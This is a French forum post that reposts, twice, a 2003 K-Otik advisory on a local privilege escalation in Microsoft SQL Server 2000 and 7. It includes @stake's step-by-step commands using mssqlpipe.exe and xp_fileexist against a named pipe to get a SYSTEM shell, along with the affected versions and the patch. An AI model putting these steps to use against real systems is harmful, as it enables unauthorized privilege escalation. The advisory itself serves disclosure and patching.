Date de Publication: 2003-07-11 Titre: Microsoft SQL Server Named Pipe Privilege Escalation K-Otik ID : 0240 Exploitable à distance : Non Exploitable en local : Oui
* Description Technique - Exploit *
Une vulnérabilité touche Microsoft SQL Server, elle pourrait être exploitée par un attaquant local afin d'élever ses privilèges. Cette vulnérabilité est due à une erreur dans l'API "CreateFile" : Un attaquant peut créer un named pipe server avec un nom arbitraire, puis exécuter xp_fileexist avec comme argument le nom UNC du pipe crée (\\servername\pipe\pipename).
------------- Exemple Publié par @stake --------------- shell #1: Tapez
C:\>mssqlpipe.exe cmd.exe Creating pipe: \\.\Pipe\Nom Pipe created, waiting for connection Se Connectez à la base et exécuter : xp_fileexist '\\SERVERNAME\pipe\Nom'
Puis sur le shell #2: Tapez
C:\>isql -U Utilisateur Password: 1> xp_fileexist '\\TEMP123\pipe\Nom' 2> go File Exists File is a Directory Parent Directory Exists ----------- ------------------- -------------------------- 1 0 1
Puis retourner au shell #1, qui permet l'exécution du cmd.exe avec les privilèges SYSTEM. -------------------------------------------------------------
Marsh Posté le 11-07-2003 à 18:51:44
Hello,
Source : http://www.k-otik.com/bugtraq/07.11.MSSQL.php
Date de Publication: 2003-07-11
Titre: Microsoft SQL Server Named Pipe Privilege Escalation
K-Otik ID : 0240
Exploitable à distance : Non
Exploitable en local : Oui
* Description Technique - Exploit *
Une vulnérabilité touche Microsoft SQL Server, elle pourrait être exploitée par un attaquant local afin d'élever ses privilèges. Cette vulnérabilité est due à une erreur dans l'API "CreateFile" : Un attaquant peut créer un named pipe server avec un nom arbitraire, puis exécuter xp_fileexist avec comme argument le nom UNC du pipe crée (\\servername\pipe\pipename).
------------- Exemple Publié par @stake ---------------
shell #1: Tapez
C:\>mssqlpipe.exe cmd.exe
Creating pipe: \\.\Pipe\Nom
Pipe created, waiting for connection
Se Connectez à la base et exécuter :
xp_fileexist '\\SERVERNAME\pipe\Nom'
Puis sur le shell #2: Tapez
C:\>isql -U Utilisateur
Password:
1> xp_fileexist '\\TEMP123\pipe\Nom'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- --------------------------
1 0 1
Puis retourner au shell #1, qui permet l'exécution du
cmd.exe avec les privilèges SYSTEM.
-------------------------------------------------------------
* Versions Vulnérables *
Microsoft SQL Server 2000
Microsoft SQL Server 7
* Solution *
Windows 2000 Service Pack 4
http://www.microsoft.com/windows20 [...] efault.asp